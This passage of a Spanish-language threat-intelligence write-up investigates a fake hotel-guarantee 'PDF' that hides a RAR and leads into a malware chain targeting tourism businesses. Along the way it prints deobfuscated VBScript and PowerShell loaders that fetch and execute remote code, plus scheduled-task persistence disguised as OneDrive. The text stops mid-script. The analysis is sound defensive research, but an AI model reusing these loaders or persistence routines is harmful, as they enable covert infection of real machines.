--[ Experimento 0x04: Ejercicio de CTI - El PDF Misterioso ]--
Octubre 2026
Por: ZoqueLabsEste escrito se distribuye con una licencia Creative Commons CC BY-SA (Reconocimiento - Compartir Igual).
English version
-[ ToC ]-
-> 0x00 Intro -> 0x01 El archivo PDF -> 0x02 Pivotando en GTI -> 0x03 Decodificando artefactos -> 0x04 Conociendo a la Boa Dorada -> 0x05 Victomología -> 0x06 Spyware barato, responsabilidad cara -> 0x07 Donde decidimos parar
–[ 0x00 Intro ]–
Hace algunos días recibimos un archivo enviado por otra organización de Sociedad Civil que trabaja en asuntos digitales. El archivo simulaba ser un PDF, pero a todas luces se veía sospechoso. Había aparecido en el contexto de una investigación de esa organización.
La idea inicial era sencilla: ver qué podíamos averiguar de ese supuesto PDF. Nos pareció un reto interesante y empezamos a trabajar en él. Lo que siguió fue una madriguera de conejo que terminó llevándonos bastante lejos: encontramos información sobre el posible origen del archivo, una cadena completa de infección para Windows —aparentemente utilizada por varios actores—, una operación orientada a infiltrar hoteles y empresas de turismo en Latinoamérica, varios tipos de malware incluyendo malware comercial, ISPs cuya infraestructura está siendo abusada por estos actores e incluso un personaje en Brasil cuyo rol todavía no entendemos del todo, pero que parece estar relacionado con infraestructura utilizada en distintas partes de la operación.
Todo esto, básicamente, usando Bash —la shell de Linux— y GTI, Google Threat Intelligence.
GTI, para quien no lo conozca, es una plataforma comercial de inteligencia de amenazas que integra VirusTotal con otras fuentes y herramientas que facilitan muchísimo las investigaciones relacionadas con amenazas digitales.
Y aquí aparece algo un poco polémico, y que pensamos bastante antes de escribir este writeup: hacer este experimento utilizando una herramienta comercial que no es precisamente barata implica que su reproducibilidad sea más complicada para muchas de las personas que nos leen. Sin embargo, también sabemos que varias organizaciones de Sociedad Civil tienen acceso a esta herramienta —y a otras similares— pero no siempre las utilizan de manera muy activa.
También creemos que el acceso a este tipo de herramientas es importante para nuestro trabajo y que debemos aunar esfuerzos para mantenerlas disponibles dentro de nuestro ecosistema, porque en muchas investigaciones pueden ser realmente útiles.
De cualquier manera, con o sin acceso a GTI, lo que este writeup busca ilustrar es sobre todo una forma de pensar —un mindset— y una especie de quasi-metodología de investigación que puede aplicarse de distintas maneras, incluso sin herramientas comerciales.
Por otro lado, aunque este caso no parece haber estado dirigido específicamente contra la Sociedad Civil y todo apunta más bien a una operación de cibercrimen con motivaciones económicas, es un excelente ejemplo de un ataque contra un sector específico: utiliza Windows como puerta de entrada y termina comprometiendo la seguridad no solo de las organizaciones atacadas, sino potencialmente también de muchas de las personas y organizaciones que interactúan con ellas. En este caso, hablamos del sector turismo: hoteles, operadores turísticos, agencias de viajes, entre otros.
La campaña parece estar lo suficientemente extendida como para que, no por casualidad, terminara tocando a la Sociedad Civil. Así fue como este archivo llegó a nuestras manos.
Una de las tareas que hacemos quienes trabajamos en este ecosistema es precisamente intentar determinar si un ataque fue dirigido o si, por ejemplo, se trata de una campaña de cibercrimen con motivaciones económicas. Esa distinción puede cambiar considerablemente tanto el curso de una investigación como las recomendaciones que se hacen a la persona u organización afectada.
En este caso específico, aunque bastante temprano tuvimos indicios fuertes de que estábamos frente a cibercrimen, decidimos seguir tirando del hilo para ver hasta dónde podíamos llegar. Lo hicimos como una forma de aprender, poner a prueba nuestras metodologías y estar mejor preparades para investigaciones más complejas.
Además, este tipo de caso resulta particularmente útil como experimento público: podemos compartir mucho más libremente lo que encontramos que en una investigación relacionada con un ataque dirigido, donde el contexto, la infraestructura o incluso algunos de los hallazgos podrían ser considerablemente más sensibles.
En Zoque tenemos la idea de que investigar cibercrimen no solo es útil para aprender y desarrollar habilidades de investigación. También nos ayuda directamente cuando acompañamos a organizaciones o personas que han sido afectadas por este tipo de ataques. Conocer estas operaciones, sus herramientas y sus patrones nos permite reconocer más rápidamente cuándo estamos frente a una campaña oportunista motivada por dinero y cuándo hay elementos que podrían apuntar a un ataque dirigido. En nuestra comunidad, esa diferencia puede cambiar bastante el rumbo y las conclusiones de una investigación.
Sin más largas, les invitamos a ponerse cómodes y disfrutar de este ladrillazo, que tiene un poco de todo: ingeniería social, cadenas de infección baratas pero efectivas, malware open source y comercial, montones de infraestructura y algunos errores de OPSEC de un operador aparentemente descuidado que terminaron permitiéndonos identificar a una persona relacionada con la operación.
¡Vamos!
–[ 0x01 El archivo PDF ]–
Nombre original: CARTA DE GARANTÍA HOTELERA FB-12-8846 ABRIL.REV
SHA256: 30f1a5d60c9c0cb5e60a2372b0637e10b9de221284347ff5146cd97c991571cb
Tamaño: 2.46 MB
Lo primero que salta a la vista es que el archivo tiene extensión .rev, no .pdf. Sin embargo, cuando lo vemos en nuestro explorador de archivos en Linux, aparece con el icono de un PDF. Pudimos constatar el mismo comportamiento en un cliente de correo. De hecho, si hacemos doble clic sobre él en Linux, el sistema intenta abrirlo con el lector de PDFs, que termina mostrando un error.

Todo cambia cuando nos vamos a Windows. Allí el archivo aparece asociado a WinRAR, lo que tiene bastante más sentido: la extensión .rev es utilizada por WinRAR para sus volúmenes de recuperación.
¿Por qué entonces este archivo aparece como un PDF en algunos lugares? Porque tiene un truco.
Si miramos su contenido desde el comienzo, encontramos que la primera línea es:
%PDF-1.3
Esta cadena corresponde al encabezado que normalmente encontramos al comienzo de un archivo PDF. Linux y algunas otras aplicaciones pueden inspeccionar estos primeros bytes —el llamado magic number o file signature— para intentar determinar el tipo real de un archivo, independientemente de su extensión.
Por eso nuestro sistema Linux piensa que está frente a un PDF.
En Windows el comportamiento puede ser diferente: el Explorador normalmente se apoya en la extensión y en las asociaciones de archivos configuradas en el sistema. En nuestra máquina, .rev estaba asociado con WinRAR y, por tanto, el archivo aparecía con su icono.
Si seguimos inspeccionando los primeros bytes, todo parece indicar que efectivamente existe un PDF legítimo al comienzo del archivo. El truco aparece más adelante.
WinRAR es capaz de localizar información de un archivo RAR dentro del fichero y procesarla aunque no se encuentre al comienzo. En nuestro caso, al abrir el .rev con WinRAR, este termina encontrando el archivo RAR embebido y mostrando su contenido.
En resumen:
- En Windows, la extensión .rev hace que el archivo pueda quedar asociado con WinRAR.
- Al abrirlo, WinRAR inspecciona el contenido y encuentra una estructura RAR válida dentro del archivo.
- Si la encuentra, muestra los archivos contenidos en ella.
Con esto ya podemos plantear una primera hipótesis sobre la cadena de infección y la ingeniería social utilizada para hacer que un adjunto sospechoso parezca más creíble:
- Una persona recibe un correo relacionado con una reserva de hotel y un archivo que, en determinados contextos, aparenta ser un PDF.
- La persona intenta abrirlo en Windows.
- En lugar de un documento PDF, termina frente a una ventana de WinRAR.
- Dentro del archivo comprimido hay otro fichero que el atacante espera que la persona ejecute.
En este punto tenemos dos caminos, y en este writeup vamos a explorar ambos: lo de siempre, análisis estático y análisis dinámico.
Análisis estático
Podemos empezar utilizando binwalk para revisar el archivo y buscar estructuras conocidas en su interior. binwalk es una herramienta muy utilizada para analizar imágenes de firmware y otros archivos binarios, ya que permite identificar datos y formatos embebidos. En nuestro caso resulta útil para comprobar si realmente existe un RAR escondido dentro del falso PDF:
$ binwalk poisoned_pdf.rev
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PDF document, version: "1.3"
622 0x26E JPEG image data, JFIF standard 1.01, thumbnail 32x32
483086 0x75F0E JPEG image data, JFIF standard 1.01, thumbnail 32x32
496678 0x79426 JPEG image data, JFIF standard 1.01, thumbnail 32x32
883065 0xD7979 RAR archive data, version 5.x
1294257 0x13BFB1 JBOOT STAG header, image id: 7, timestamp 0x4D4B3B66, image size: 354005805 bytes, image JBOOT checksum: 0xA4C9, header JBOOT checksum: 0x49B5
Nótese que renombramos el archivo como poisoned_pdf.rev.
binwalk identifica un documento PDF desde el byte 0, pero además encuentra la cabecera de un archivo RAR en el offset 883065.
Eso encaja bastante bien con lo que habíamos observado: parece tratarse de un PDF al que se le añadió posteriormente un archivo RAR.
Lo siguiente es separar esa segunda parte para poder estudiarla por su cuenta:
$ tail -c +883066 poisoned_pdf.rev > rar-file.rar
El comando tail nos permite obtener la parte final de un archivo —algo así como el contrario de head—. En este caso le pedimos que copie todo a partir del byte 883066. Usamos ese valor porque binwalk nos dio un offset de 883065, contado desde cero, mientras que tail -c +N comienza a contar las posiciones desde uno.
Redireccionamos el resultado a un nuevo archivo llamado rar-file.rar.
Ya tenemos el RAR.
Al abrirlo encontramos dos archivos:
CARTA DE GARANTÍA HOTELERA FB-12-8846 ABRIL .VBS
DNI.jpeg
El primero utiliza prácticamente el mismo nombre del archivo original, pero ahora termina en .VBS: es un Visual Basic Script y, como veremos, es el archivo que da inicio a la siguiente etapa de la cadena de infección.
El segundo archivo, DNI.jpeg, ayuda a darle credibilidad al montaje. Contiene la imagen de un documento de identidad real y, hasta donde pudimos observar, su función dentro del paquete parece limitarse a la ingeniería social.
Desofuscando el primer script
Si abrimos CARTA DE GARANTÍA HOTELERA FB-12-8846 ABRIL .VBS en un editor de texto, veremos algo como esto:

A primera vista parece haber datos pertenecientes a una imagen. Muy cerca del comienzo podemos distinguir, por ejemplo, la cadena ftypavif, característica de archivos AVIF.
Pero hay un detalle importante: las líneas comienzan con el carácter ', una comilla simple.
En VBScript, la comilla simple marca el comienzo de un comentario. Eso quiere decir que todas esas líneas serán ignoradas durante la ejecución.
La idea empieza a quedar clara: una gran cantidad de datos aparentemente legítimos funcionan como ruido, mientras el código que realmente se ejecuta se encuentra disperso entre ellos en líneas que no comienzan por '.
Para ver únicamente esas líneas podemos usar grep:
$ grep -v "^'" carta.vbs > script.vbs
Le pedimos a grep que muestre todas las líneas que no empiezan por una comilla simple y redireccionamos la salida a script.vbs.
Si revisamos el resultado obtenemos el primer script relevante de esta cadena:
Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
url = "https[:]//tcpkdkyp[.]elementor[.]cloud/wp-content/uploads/2026/04/hoje[.]txt"
Randomize
randName = "Calculadora_" & Int(Rnd() * 100000) & ".vbs"
tempPath = fso.GetSpecialFolder(2) & "\" & randName
Set exec = shell.Exec("cmd /c curl -s " & url)
code = ""
Do Until exec.StdOut.AtEndOfStream
line = exec.StdOut.ReadLine()
code = code & line & vbCrLf
Loop
lines = Split(code, vbCrLf)
output = ""
inserted = False
For i = 0 To UBound(lines)
'%PDF-1.3
output = output & lines(i) & vbCrLf
'%PDF-1.3
If LCase(Trim(lines(i))) = "option explicit" And Not inserted Then
output = output & "Dim sa" & Int(Rnd() * 100000) & vbCrLf
inserted = True
'%PDF-1.3
End If
Next
If Not inserted Then
output = "Dim sa" & Int(Rnd() * 100000) & vbCrLf & output
End If
Set file = fso.CreateTextFile(tempPath, True)
file.Write output
file.Close
shell.Run """" & tempPath & """", 0, False
Este archivo no fue particularmente difícil de desofuscar. Incluso quedaron algunos fragmentos como %PDF-1.3 después de nuestra limpieza, pero no afectan la lectura del código.
La técnica utilizada parece consistir en mezclar el script con grandes cantidades de datos provenientes de otros archivos —PDFs e imágenes en este caso—, convirtiendo esas líneas en comentarios mediante una comilla simple. El resultado es un archivo que, visto rápidamente, no se parece demasiado a un payload convencional, pero que continúa siendo un VBScript perfectamente funcional.
Si dejamos a un lado el ruido, el comportamiento es relativamente sencillo:
- Descarga contenido desde:
hxxps://tcpkdkyp[.]elementor[.]cloud/wp-content/uploads/2026/04/hoje.txt - Guarda ese contenido en un archivo cuyo nombre comienza por
Calculadora_, seguido de un número aleatorio menor que100000y la extensión.vbs. - Antes de escribirlo a disco, recorre las líneas buscando
Option Explicit. Si lo encuentra, introduce inmediatamente después una declaración Dim con un nombre aleatorio. Si no lo encuentra, añade esa declaración al principio. - Guarda el resultado en el directorio temporal de Windows.
- Finalmente ejecuta el nuevo script con
shell.Run, utilizando0como segundo argumento para ocultar su ventana.
Hay además un detalle curioso en los nombres: hoje significa “hoy” en portugués, mientras que el archivo generado utiliza Calculadora, en español. Todavía no sabemos si esto significa algo, pero vale la pena anotarlo para más adelante.
Cuando intentamos acceder a la URL desde la que se descargaba hoje.txt, el recurso ya no estaba disponible.
Eso nos corta el camino directo hacia la siguiente etapa, pero nos deja algo igualmente valioso: una URL, un dominio y varios indicadores que podemos buscar en plataformas de inteligencia de amenazas para intentar reconstruir lo que había allí.
Pero antes, hablemos un poquito de la otra ruta.
Análisis dinámico
Mientras hacíamos el análisis estático decidimos probar también el archivo en ANY.RUN. Para este ejercicio utilizamos una cuenta gratuita, más que suficiente para observar esta primera parte de la ejecución.
ANY.RUN es una plataforma que permite ejecutar archivos y scripts dentro de un entorno Windows aislado y observar qué ocurre después: procesos creados, conexiones de red, archivos modificados y otros eventos del sistema.
En nuestro caso subimos directamente el archivo original.
La plataforma abre el fichero dentro del sandbox y durante unos segundos permite interactuar con la máquina virtual. Esto resulta particularmente útil aquí porque no basta con abrir el falso PDF: también tenemos que abrir manualmente el .vbs que aparece dentro del RAR para continuar la cadena.
La ejecución completa que hicimos quedó disponible públicamente: https://app.any.run/tasks/3cbe6334-ae7a-4b21-8ba6-561cc33e72f6

Si observamos el árbol de procesos o las conexiones de red podemos encontrar la misma URL que habíamos obtenido durante el análisis estático. Esto nos permite confirmar experimentalmente buena parte del comportamiento que habíamos deducido leyendo el script.


También intentamos abrir DNI.jpeg, aunque en nuestra ejecución únicamente obtuvimos un error.
Hay un pequeño detalle importante para reproducir este análisis en ANY.RUN. Entre las opciones disponibles antes de iniciar la ejecución debemos desactivar “Change extension to valid”. Si la dejamos habilitada, la plataforma identifica el contenido inicial como PDF y cambia la extensión .rev por .pdf, alterando precisamente el comportamiento que queremos estudiar.
Al parecer, el truco también puede confundir al sandbox.
Estático vs. dinámico
Esta primera parte de la investigación deja una comparación interesante.
El análisis dinámico con ANY.RUN nos permitió llegar muy rápido al comportamiento principal del archivo y confirmar la conexión de red. El análisis estático tomó algo más de trabajo, pero nos mostró muchos más detalles sobre cómo estaba construida esta primera etapa, cómo funcionaba la ofuscación y qué hacía exactamente el script antes de ejecutar el siguiente payload.
Y, más importante todavía, nos dejó una pista con la cual continuar:
tcpkdkyp.elementor.cloud
El archivo que buscábamos ya no estaba ahí.
Pero Internet tiene memoria. Veamos entonces qué podemos encontrar en las plataformas de inteligencia de amenazas.
–[ 0x02 Pivotando en GTI ]–
Hasta este punto habíamos trabajado principalmente sobre el archivo que recibimos. Comprobamos que, aunque tenía apariencia de PDF, en realidad contenía un archivo RAR embebido y conseguimos extraer de él dos archivos: DNI.jpeg y un script VBS que parecía ser el encargado de continuar la cadena de infección.
Antes de seguir profundizando manualmente, decidimos comprobar si ese archivo ya había sido analizado por otras personas y qué información adicional podíamos encontrar sobre él.
Buscando el archivo en GTI
Una de las primeras cosas que hicimos fue buscar en Google Threat Intelligence (GTI) el SHA256 del archivo original:
30f1a5d60c9c0cb5e60a2372b0637e10b9de221284347ff5146cd97c991571cb

El archivo ya había sido analizado y tenía bastante información asociada. Sin embargo, a primera vista no aparecía nada especialmente revelador: GTI no lo señalaba como un archivo claramente malicioso, aunque tres motores ya lo habían marcado como tal.
Tampoco aparecía relacionado con algún actor, familia de malware o campaña conocida.
Así que decidimos mirar un poco más allá de la información principal del archivo y revisar sus relaciones.
Las relaciones del archivo
En Relations encontramos una sección llamada Bundled Files, donde aparecían dos archivos:
DNI.jpeg
CARTA DE GARANTÍA HOTELERA FB-12-8846 ABRIL .VBS

Esto coincidía exactamente con lo que ya habíamos encontrado durante el análisis estático.
GTI tenía registrado DNI.jpeg, pero no encontramos el VBS como un archivo independiente que pudiéramos recuperar directamente.
En este punto, buscar el archivo original en GTI no nos daba mucho más por sí solo, pero sí confirmaba que los artefactos que habíamos extraído manualmente también habían sido observados por la plataforma.
Así que volvimos a la mejor pista que teníamos: la URL encontrada dentro del VBS.
El dominio que encontramos en el VBS
Como vimos en el capítulo anterior, el script contenía la siguiente URL:
hxxps://tcpkdkyp[.]elementor[.]cloud/wp-content/uploads/2026/04/hoje[.]txt
Decidimos buscar el dominio tcpkdkyp[.]elementor[.]cloud en GTI para ver qué otras cosas habían sido observadas allí.
El dominio resolvía a infraestructura protegida por Cloudflare, algo que por sí solo no nos decía demasiado. Lo interesante apareció cuando revisamos las URLs relacionadas con él:

Encontramos tres:
hxxps://tcpkdkyp[.]elementor[.]cloud/wp-content/uploads/2026/04/hoje[.]txt
hxxps://tcpkdkyp[.]elementor[.]cloud/wp-content/uploads/2026/03/vox[.]txt
hxxps://tcpkdkyp[.]elementor[.]cloud/wp-content/uploads/2026/03/t[.]txt
La primera ya la conocíamos porque aparecía directamente en el VBS original. Las otras dos eran nuevas.
hoje.txt ya no estaba disponible cuando hicimos la investigación, así que no podíamos recuperar directamente la siguiente etapa de nuestra muestra. Pero GTI había conservado rastros de los otros dos archivos.
Era hora de seguir tirando del hilo.
vox.txt
Empezamos por vox.txt.

El archivo vuelve a ser un VBScript.
Lo primero que hace es abrir una hoja de cálculo de Google en el navegador:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "hxxps://docs[.]google[.]com/spreadsheets/d/1hxQN7en-FtT2zE8CsYhfYBhUZfEfphho/edit?usp=drive_web&ouid=117346936205441373605&rtpof=true"
Actualmente ese enlace no nos muestra contenido útil, así que no podemos determinar con certeza qué función cumplía la hoja dentro de la campaña. Podría tratarse de parte de la ingeniería social, un señuelo o simplemente un recurso que ya fue eliminado.
Después encontramos esto:
Dim strUrl, strCmd, objShell
' ============ CONFIGURE A URL AQUI ============
strUrl = "hxxps://tcpkdkyp[.]elementor[.]cloud/wp-content/uploads/2026/03/t[.]txt"
' ==============================================
Set objShell = CreateObject("WScript.Shell")
strCmd = "powers" & _
"hell.e" & _
"xe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command " & _
"""[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" & _
"$ProgressPreference='SilentlyContinue';" & _
"$ErrorActionPreference='SilentlyContinue';" & _
"ie" & _
"x((New-Object Net.WebClient).DownloadString('" & strUrl & "'))"""
' 0 = Janela oculta, False = Nao esperar terminar
objShell.Run strCmd, 0, False
Set objShell = Nothing
Hay varios detalles interesantes.
Primero, vuelven a aparecer comentarios en portugués:
CONFIGURE A URL AQUI
Janela oculta, False = Nao esperar terminar
Segundo, el script divide algunas cadenas de texto —por ejemplo powershell.exe e iex— en varias partes. Es una forma bastante sencilla de hacer que ciertas cadenas sospechosas no aparezcan completas a primera vista.
Al reconstruirlas, el comportamiento queda claro: ejecuta powershell.exe de manera oculta, descarga el contenido de t.txt y lo pasa a Invoke-Expression (iex) para ejecutarlo directamente.
Y boom: ahí estaba precisamente el otro archivo que GTI había relacionado con el dominio.
t.txt

Aquí dejamos atrás VBScript. t.txt contiene PowerShell y nos muestra una nueva etapa de la cadena.
El script comienza intentando ocultar la ventana asociada al proceso de PowerShell:
try {
$w = Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);' -Name Win32 -Namespace Native -PassThru
$h = (Get-Process -Id $PID).MainWindowHandle
if ($h -ne [IntPtr]::Zero) { [void]$w::ShowWindow($h, 0) }
} catch {}
Después define un pequeño mecanismo de logging:
$logFile = Join-Path $PSScriptRoot "bloqueio_scripts.log"
function Log($msg) {
try {
Add-Content -Path $logFile -Value "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') | $msg" -ErrorAction SilentlyContinue
} catch {}
}
Pero lo realmente curioso viene después.
El script crea dos tareas programadas de Windows.
La primera:
#TAREFA 01
$taskName = "OneDrive Reporting Task-S-1-5-21-2570289620-3791444421-1501765468-199901"
$scriptUrl = "hxxps://sacupemba[.]com/icon32[.]txt"
$cmd = "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;`$script=Invoke-WebRequest -Uri '$scriptUrl' -UseBasicParsing;`$content=`$script.Content;Invoke-Expression `$content`""
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $cmd
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours(3) -RepetitionInterval (New-TimeSpan -Hours 3)
$settings = New-ScheduledTaskSettingsSet `
-AllowStartIfOnBatteries `
-DontStopIfGoingOnBatteries `
-StartWhenAvailable `
-Hidden `
-ExecutionTimeLimit (New-TimeSpan -Minutes 5)
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $action -Principal $principal -Settings $settings -Description "OneDrive Reporting Task-S-1-5-21-2570289620-3791926121-1501765468-1001."
Y la segunda:
#TAREFA 02
$taskName = "OneDrive Reporting Task-S-1-5-21-2570289620-3791444421-1501765468-1888658901"
$scriptUrl = "hxxps://www[.]informaciones-digitales[.]com/nucleo[.]txt"
$cmd = "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;`$script=Invoke-WebRequest -Uri '$scriptUrl' -UseBasicParsing;`$content=`$script.Content;Invoke-Expression `$content`""
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument $cmd
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours(3) -RepetitionInterval (New-TimeSpan -Hours 3)
$settings = New-ScheduledTaskSettingsSet `
-AllowStartIfOnBatteries `
-DontStopIfGoingOnBatteries `
-StartWhenAvailable `
-Hidden `
-ExecutionTimeLimit (New-TimeSpan -Minutes 5)
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $action -Principal $principal -Settings $settings -Description "OneDrive Reporting Task-S-1-5-21-2570289620-3791926121-1501765468-1001."
schtasks /Run /TN "OneDrive Reporting Task-S-1-5-21-2570289620-3791444421-1501765468-1888658901"
Acá la cadena empieza a ponerse bastante más interesante.
Las dos tareas utilizan nombres que intentan parecer relacionados con OneDrive:
OneDrive Reporting Task-S-1-5-21-...
Cada una ejecuta powershell.exe de forma oculta, descarga contenido desde una URL y lo ejecuta mediante Invoke-Expression.
Las URLs son:
hxxps://sacupemba[.]com/icon32[.]txt
hxxps://www[.]informaciones-digitales[.]com/nucleo[.]txt
De un solo golpe tenemos dos nuevos dominios y dos nuevos artefactos para investigar.
Las tareas están configuradas para comenzar tres horas después de su creación y repetirse cada tres horas. También se configuran como ocultas, pueden ejecutarse cuando el equipo funciona con batería y, si el momento programado se pierde, StartWhenAvailable permite que Windows intente ejecutarlas cuando vuelva a ser posible.
Esto convierte las tareas programadas en un mecanismo de persistencia.
El script no se limita a descargar y ejecutar el siguiente payload una sola vez. Deja configurado el sistema para volver periódicamente a esas URLs, obtener contenido y ejecutarlo.
Además, antes de registrar cada tarea intenta eliminar cualquier tarea anterior con el mismo nombre:
Unregister-ScheduledTask -TaskName $taskName -Confirm:$false -ErrorAction SilentlyContinue
Luego vuelve a crearla con los parámetros definidos por el script.
Finalmente encontramos:
schtasks /Run /TN "OneDrive Reporting Task-S-1-5-21-2570289620-3791444421-1501765468-1888658901"
Esta instrucción lanza inmediatamente la segunda tarea.
Es decir: para nucleo.txt no hay que esperar tres horas. El script registra la tarea y acto seguido la ejecuta. Después queda programada para continuar ejecutándose periódicamente.
En este punto ya no tenemos simplemente una sucesión de scripts que descargan otros scripts.
Tenemos persistencia.
El mapa empieza a crecer
Hasta aquí, el pivot que comenzó con una sola URL encontrada dentro del VBS nos permitió reconstruir algo parecido a esto:
tcpkdkyp[.]elementor[.]cloud
|
+-- hoje.txt
|
+-- vox.txt
| |
| +-- t.txt
|
+-- t.txt
|
+-- sacupemba[.]com
| |
| +-- icon32.txt
|
+-- informaciones-digitales[.]com
|
+-- nucleo.txt
Todavía no sabemos qué contienen icon32.txt y nucleo.txt, ni hasta dónde continúa la cadena.
Pero ya tenemos nuevos artefactos sobre los cuales pivotar.
Y eso es justamente lo que vamos a hacer.
Una nota sobre las herramientas: como mencionamos al comienzo de este writeup, el acceso de pago a GTI fue importante en esta parte de la investigación. Con la versión gratuita de VirusTotal habríamos podido descubrir algunas de estas relaciones —por ejemplo llegar hasta vox.txt—, pero no necesariamente recuperar los archivos o consultar su contenido directamente. Esta es precisamente una de las limitaciones de reproducibilidad que mencionábamos en la introducción.
Siguiendo a icon32.txt
La primera URL era:
hxxps://sacupemba[.]com/icon32[.]txt
Cuando intentamos acceder directamente, el archivo ya no estaba disponible.
Así que volvimos a GTI para revisar qué había quedado registrado sobre esa URL.
![]()
Esta vez el resultado era más llamativo. GTI identificaba la URL como maliciosa, once motores la marcaban y entre sus relaciones aparecía un archivo llamado icon32.txt.
![]()
Al revisar su contenido encontramos algo bastante particular.
Aunque la extensión era .txt, el archivo comenzaba así:
##%PDF-1.7
###%âãÏÓ
###4 0 obj
###<<
###/Type /XObject
###/Subtype /Image
###/Width 1240
###/Height 1669
###/BitsPerComponent 8
###/ColorSpace /DeviceRGB
###/Filter [/FlateDecode /DCTDecode]
###/DecodeParms [null <<
###/Quality 60
###>>]
###/Length 184904
###>>
###stream
A primera vista parece haber fragmentos de un PDF, incluyendo la definición de una imagen.
Después empiezan a aparecer grandes cantidades de datos que no tienen sentido como texto.
Esto no es necesariamente extraño: si estamos mirando como texto un archivo que contiene datos binarios —por ejemplo imágenes comprimidas— veremos precisamente este tipo de caracteres.
Hay además otro detalle que ya debería resultarnos familiar: prácticamente todas las líneas empiezan por #.
Por ahora dejamos icon32.txt como un nuevo artefacto pendiente. Más adelante vamos a limpiarlo y separar lo que está mezclado dentro del archivo para entender qué está haciendo realmente.
Siguiendo a nucleo.txt
La segunda URL encontrada en t.txt era:
hxxps://www[.]informaciones-digitales[.]com/nucleo[.]txt
Cuando intentamos acceder directamente, el sitio ya no estaba disponible.
Así que hicimos lo mismo: buscar la URL en GTI.

En las relaciones encontramos algo interesante: había dos archivos diferentes llamados nucleo.txt, cada uno con un SHA256 distinto.
05696557cbfc001bac7a239c53efee81b4e66d60f47365ff34cf86f5cfdc1678
nucleo.txt
e201bbe41a46c21e0985103d4b13607e0796e42512ca5ad5601e2ad6bbe96edc
nucleo.txt
Esto es importante porque una URL no representa necesariamente un único archivo.
El contenido alojado detrás de una misma dirección puede cambiar con el tiempo. Una plataforma como GTI puede haber observado esa URL en distintos momentos y conservar muestras diferentes recuperadas desde ella.
Para no confundirnos durante el análisis decidimos llamarlas simplemente nucleo 1 y nucleo 2.
nucleo1.txt
Empezamos por el archivo cuyo hash comienza por 0569.
GTI no lo marcaba como malicioso: ninguno de los motores lo había señalado.

Cuando miramos su contenido desde GTI no encontramos un script legible como en etapas anteriores. En su lugar aparecía una gran cantidad de caracteres que no tenían demasiado sentido a simple vista.
Cerca del comienzo podía distinguirse, por ejemplo, la cadena:
JFIF
Esto resulta interesante porque JFIF suele encontrarse dentro de archivos JPEG.

Por ahora no intentamos interpretar mucho más.
Lo dejamos identificado como nucleo1.txt y pasamos al segundo archivo.
nucleo2.txt
El segundo archivo tenía un hash que comienza por e201.
Al igual que nucleo1, ninguno de los motores lo marcaba como malicioso.

En este caso GTI ni siquiera mostraba un preview completo del contenido. Solo podíamos ver algunas strings, así que decidimos descargarlo y revisarlo directamente.
Y nos encontramos con algo muy parecido al primer archivo: una gran cantidad de datos que no podemos interpretar directamente como texto y ningún código inmediatamente visible.

En vez de intentar adivinar qué eran estos archivos mirando caracteres aparentemente aleatorios, decidimos hacer lo mismo que ya nos había funcionado al comienzo de la investigación: tratarlos como blobs de datos, separar sus componentes y ver qué tenían realmente adentro.
A estas alturas ya teníamos tres artefactos especialmente interesantes:
icon32.txt
nucleo1.txt
nucleo2.txt
Los tres parecen mezclar distintos tipos de contenido y ninguno revela inmediatamente qué hace.
Así que el siguiente paso vuelve a ser bastante básico:
limpiar la basura, separar las piezas y mirar qué queda.
–[ 0x03 Decodificando artefactos ]–
De los pivotes anteriores pudimos recuperar tres archivos que parecen estar bastante cerca del corazón de la infección —como bien lo sugiere el nombre de uno de ellos: nucleo.txt.
Acá también es importante recordar que t.txt crea dos tareas programadas diferentes, cada una descargando y ejecutando contenido desde una infraestructura distinta.
Esto abre algunas preguntas interesantes: ¿será simplemente una manera de reforzar la infección utilizando dos payloads? ¿Estamos viendo dos ramas de una misma operación? ¿O podría haber más de un actor aprovechando la misma cadena?
Todavía es demasiado pronto para saberlo.
Hay además otra pista que podemos aprovechar. Cada script que hemos ido revisando ejecuta otro y, por la forma en que lo hace, normalmente podemos anticipar qué lenguaje utiliza la siguiente etapa.
En este caso, icon32.txt y nucleo.txt son descargados para ser ejecutados directamente por PowerShell. Si recordamos lo que vimos en el capítulo anterior, estos archivos estaban llenos de líneas que comenzaban por #, que en PowerShell indica un comentario.
Así que parece que estamos frente al mismo truco sencillo de ofuscación que vimos en el VBS original, pero esta vez aplicado a PowerShell.
Podemos probar exactamente la misma estrategia: eliminar todas las líneas que comienzan por # y ver qué queda.
icon32.txt desofuscado
Si eliminamos todos los comentarios del archivo original terminamos con este código:
$ProgressPreference = 'SilentlyContinue'
$ErrorActionPreference = 'SilentlyContinue'
$WarningPreference = 'SilentlyContinue'
$VerbosePreference = 'SilentlyContinue'
$scriptUrl = "hxxp://192.227.173[.]74:8080/priect[.]txt"
function Download-AndExecute {
param([string]$Url)
try {
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls13
try {
$content = (Invoke-WebRequest -Uri $Url -UseBasicParsing -TimeoutSec 30).Content
if ($content) {
Invoke-Expression $content
return
}
} catch {}
try {
$wc = New-Object System.Net.WebClient
